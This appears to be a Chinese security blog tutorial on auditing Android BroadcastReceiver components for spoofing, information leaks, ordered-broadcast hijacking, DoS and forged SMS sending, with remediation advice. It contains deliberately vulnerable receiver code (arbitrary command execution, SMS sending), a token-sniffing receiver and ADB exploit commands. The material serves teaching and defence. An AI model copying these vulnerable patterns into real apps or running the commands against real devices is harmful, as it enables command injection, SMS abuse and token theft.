别让广播出卖你!Android BroadcastReceiver 漏洞排查全流程详解

别让广播出卖你!Android BroadcastReceiver 漏洞排查全流程详解

原创 火力猫 季升安全 2025-06-06 00:15

🚨Android BroadcastReceiver 漏洞排查全流程指南

🔐 面向 Android 安全新手,从 0 到 1 手把手教你排查 BroadcastReceiver 的安全风险!

✅ 什么是 BroadcastReceiver?

BroadcastReceiver(广播接收器)是 Android 四大组件之一,专门用来接收和响应广播消息
,比如系统通知、电量变化、网络状态变化,或者 App 自己发的“登录成功”“支付完成”等消息。

它分为两种注册方式:

类型 注册方式 生命周期
静态注册 写在 AndroidManifest.xml 中 App 没打开也能接收
动态注册 在代码中 registerReceiver() App 打开期间才生效

🔎 核心方法是 
onReceive()
,广播发出后就会触发这个函数运行你写的逻辑。问题就出在这里:
– 如果别人能发广播给你(exported=true)

那攻击者就能伪造广播“骗你执行”——这就是广播欺骗、劫持、信息泄露等安全问题的根源。

✅  BroadcastReceiver组件的常见结构

📌 Manifest 中的注册结构示意:

<receiver android:name=".MyReceiver"android:exported="true">    <intent-filter>        <action android:name="com.example.MY_ACTION" />    </intent-filter></receiver>

📌 BroadcastReceiver 的典型结构示意:

// 1️⃣ 声明广播接收器类,继承 BroadcastReceiverpublic class MyReceiver extends BroadcastReceiver{// 2️⃣ 重写 onReceive 方法(广播的主要处理逻辑入口)@Overridepublic void onReceive(Context context, Intent intent){// 3️⃣ 获取广播 action 或参数        String action = intent.getAction();// 4️⃣ 判断是否是预期的 actionif ("com.example.MY_ACTION".equals(action)) {// 5️⃣ 执行对应的处理逻辑(如启动服务、记录日志等)        }    }}

🧭 Android 广播组件排查 3 步法

第一步:👀 快速识别有哪些广播接收器

🛠 Jadx反编译查看:

打开 AndroidManifest.xml
,查找所有 
 组件:

<receiver android:name=".DangerousReceiver">    <intent-filter>        <action android:name="com.vuln.EXEC_CMD" />    </intent-filter></receiver>

✅ 看点:
有没有 android:exported=”true”(或没写,Android11 以下默认也是 true) – 12及以上必须显型说明是True或False

有没有设置 android:permission=”…”(有则较安全)

🛠 Jadx全局搜索关键词:

关键词
含义说明
排查目的
onReceive
实现广播接收的核心方法
定位接收器逻辑入口
registerReceiver
动态注册广播的 API
查非 Manifest 注册的广播组件
sendBroadcast
普通广播发送方法
找出 App 主动发送的广播(可能泄露)
sendOrderedBroadcast
有序广播发送方法
分析是否存在劫持风险
abortBroadcast
中断广播传递的方法
判断是否有恶意阻断逻辑
Runtime.getRuntime().exec
执行系统命令(高危)
查是否被广播欺骗后执行命令
getStringExtra

 / getExtras
获取广播参数
查参数注入点或参数未校验位置
SmsManager.sendTextMessage
发送短信 API(高风险)
分析是否可被伪造广播诱发发送短信

✅ 排查建议:
搜索结果中重点查看是否出现在 BroadcastReceiver 中,尤其是 onReceive() 方法内部。注意判断是否有 getStringExtra()、intent.getAction() 等字段提取但未做校验。如出现 exec()、发短信等敏感操作,务必检查是否是被广播触发、是否加了权限控制。

第二步:🔍 分析每个接收器是否存在风险

📌 漏洞 ①:广播欺骗(Broadcast Spoofing)

✅ 风险描述:

攻击者伪造广播 Intent,触发敏感行为(如执行命令、发短信、启动服务)

☠️ 漏洞代码示例:
public class DangerousReceiver extends BroadcastReceiver{@Overridepublic void onReceive(Context context, Intent intent){        String cmd = intent.getStringExtra("cmd");try {            Runtime.getRuntime().exec(cmd); // ⚠️执行任意命令        } catch (Exception e) {            e.printStackTrace();        }    }}
⚙️ Manifest 配置(无权限限制 + 默认导出):
<receiver android:name=".DangerousReceiver">    <intent-filter>        <action android:name="com.vuln.EXEC_CMD" />    </intent-filter></receiver>
💥 ADB 利用命令:
adb shell am broadcast -a com.vuln.EXEC_CMD --es cmd "touch /sdcard/pwned.txt"
📌 特殊适用条件:
  • 目标系统 Android 11 以下(12+ 默认要求 exported,查看是否有明确 exported = true

  • Receiver 没设置权限

  • 触发敏感 API(如 exec)

📌 漏洞 ②:信息泄露(Broadcast Leak)

✅ 风险描述:

应用通过普通广播(sendBroadcast(Intent))发送敏感数据
,未对广播添加权限控制,导致任何安装在设备上的应用都能监听该广播并窃取敏感信息

⚠️ 有风险的配置和源码示例

发送方(泄露广播)代码示例:

Intent i = new Intent("com.app.LOGIN_RESULT"); //com.app.LOGIN_RESULT 具体actioni.putExtra("token", "user-token-123456");sendBroadcast(i); // ⚠️ 未指定权限,任何App均可接收
  • 这段代码中,调用了sendBroadcast
    ,且没有传入权限参数。

  • 这样发送的广播是公开的,任何App都能通过注册相同action
    监听到。

  • 广播中附带了敏感字段token
    ,暴露了用户信息。

Manifest 中未限制导出:

<receiver android:name=".SensitiveReceiver" android:exported="true">    <intent-filter>        <action android:name="com.app.LOGIN_RESULT" />    </intent-filter></receiver>
  • 如果广播接收器本身导出(exported=true
    ),意味着其他App也能发送该广播,增加风险。
👾 攻击者需要做什么?
  • 攻击者需要写一个恶意App
    ,并安装到目标设备上。

  • 恶意App在AndroidManifest.xml
    中声明与目标App广播相同的action
    ,并注册对应的BroadcastReceiver
    来监听广播。

攻击者的AndroidManifest.xml

<receiver android:name=".Sniffer" android:exported="true">    <intent-filter>        <action android:name="com.app.LOGIN_RESULT"/>    </intent-filter></receiver>

攻击者的监听器代码:

public class Sniffer extends BroadcastReceiver{@Overridepublic void onReceive(Context context, Intent intent){        String leakedToken = intent.getStringExtra("token");        Log.d("LeakedToken", "获取到的Token: " + leakedToken);// 这里可以将数据上传到服务器或做其他恶意操作    }}
📱 是否可以通过 ADB 验证?
  • 不完全可以。

因为信息泄露需要安装恶意App来注册监听广播
,普通的adb shell am broadcast
只能模拟发送广播,无法直接模拟监听行为。

但你可以用ADB检查目标App发送的广播:

adb shell dumpsys activity broadcasts
  • 该命令可查看当前系统广播队列,但不能直接看到广播内容和接收者。

要验证监听效果,必须:
1. 编写一个简单监听广播的App(上面攻击者代码示例)。

  1. 安装到设备上。

  2. 运行目标App发送广播。

  3. 在监听App中观察日志(通过adb logcat
    )确认是否接收到敏感数据。

📌 特殊适用条件:
  • 目标App通过普通sendBroadcast发送广播
    且未设置接收权限

  • 广播内包含敏感数据
    (如Token、用户隐私信息等)。

  • 攻击者能在设备安装恶意App并注册对应广播监听器。

✅ 修复建议:
  • 发送广播时指定权限,只有拥有该权限的App才能接收广播:
sendBroadcast(i, "com.example.PRIVATE_PERMISSION"); // ✅ 加权限
  • 并在 AndroidManifest.xml
     中声明权限:
<permission android:name="com.example.PRIVATE_PERMISSION"android:protectionLevel="signature" /><receiver android:name=".SensitiveReceiver"android:permission="com.example.PRIVATE_PERMISSION">    <intent-filter>        <action android:name="com.app.LOGIN_RESULT"/>    </intent-filter></receiver>
  • 或者通过动态注册
    的方式接收广播,限制注册范围,避免被其他App监听。
总结:
项目
说明
发生场景
发送敏感数据的普通广播无权限限制
攻击者条件
安装恶意App监听目标广播
是否可用 ADB 验证
只能查看广播状态,无法模拟监听
修复建议
发送广播时加权限,声明权限限制

如果需要

sendBroadcast(i, "com.example.PRIVATE_PERMISSION"); // ✅加权限

📌 漏洞 ③:有序广播劫持(Hijack)

✅ 风险描述:

攻击者通过设置更高优先级,拦截或阻断 sendOrderedBroadcast 发送的广播,修改或阻止原广播流程。

☠️ 恶意接收器配置:
<receiver android:name=".HijackReceiver">    <intent-filter android:priority="999">        <action android:name="com.app.SAFE_ACTION"/>    </intent-filter></receiver>
public class HijackReceiver extends BroadcastReceiver{public void onReceive(Context context, Intent intent){        abortBroadcast(); // ⚠️中断后续 Receiver// 或 setResultData("hacked") 修改内容    }}
📌 特殊适用条件:
  • App 使用 sendOrderedBroadcast()

  • 目标系统 Android 8及以下(适用旧版本兼容的系统可以关注一下)

✅ 修复建议:
  • 尽量使用普通广播或 LocalBroadcastManager

  • 验证广播来源 (getPackage
    , getCallingUid
    )

📌 漏洞 ④:拒绝服务(DoS)

✅ 风险描述:

攻击者持续高频发送广播,触发广播内耗时操作导致卡顿甚至 ANR 崩溃。

☠️ Receiver 示例:
@Overridepublic void onReceive(Context context, Intent intent){try {        Thread.sleep(5000); // ⚠️耗时操作导致卡死    } catch (InterruptedException e) {}}
⚙️ Manifest 配置:
<receiver android:name=".SleepReceiver">    <intent-filter>        <action android:name="com.vuln.DOS"/>    </intent-filter></receiver>
💥 攻击命令:
for i in $(seq 1 50); do  adb shell am broadcast -a com.vuln.DOS;done
✅ 修复建议:
  • 广播中只做轻量操作,耗时处理转交 Service

📌 漏洞 ⑤:伪造广播触发发短信

☠️ 发短信接收器:
public class SmsReceiver extends BroadcastReceiver{@Overridepublic void onReceive(Context context, Intent intent){        String number = intent.getStringExtra("phone");        String text = intent.getStringExtra("msg");        SmsManager.getDefault().sendTextMessage(number, null, text, null, null);    }}
⚙️ Manifest 无限制导出:
<receiver android:name=".SmsReceiver">    <intent-filter>        <action android:name="com.vuln.SEND_SMS"/>    </intent-filter></receiver>
💥 利用命令:
adb shell am broadcast -a com.vuln.SEND_SMS --es phone "13800000000" --es msg "你被黑了"
📌 特殊适用条件:
  • Android 11 以下系统(12+ 系统需显示声明 exported=true)

  • 无权限限制或 export=true

第三步:🔐 安全修复 + 最佳实践清单

风险类型
修复建议
广播欺骗
设置 android:exported="false",或加权限
信息泄露
使用 sendBroadcast(intent, "com.app.PRIVATE_PERMISSION")
广播劫持
避免 sendOrderedBroadcast,或校验来源
拒绝服务
耗时操作交由 Service,广播处理快速返回
动态注册泄露
注册后及时 unregisterReceiver()

✅ Manifest 修复示例:

<receiver android:name=".SafeReceiver"android:exported="false" />

或:

<receiver android:name=".SafeReceiver"android:permission="com.app.PRIVATE_PERMISSION">    <intent-filter>        <action android:name="com.vuln.SAFE_ACTION"/>    </intent-filter></receiver>

✅ 总结:三步完成 BroadcastReceiver 漏洞排查

  1. 识别接收器
    :找出所有 
     注册,查看是否暴露

  2. 逐个分析风险
    :是否执行敏感操作?是否加权限?是否验证 Intent?

  3. ADB 测试复现
    :主动发广播,看是否能触发预期外行为

#Web渗透
#IOS渗透
#源码审计
#安全工具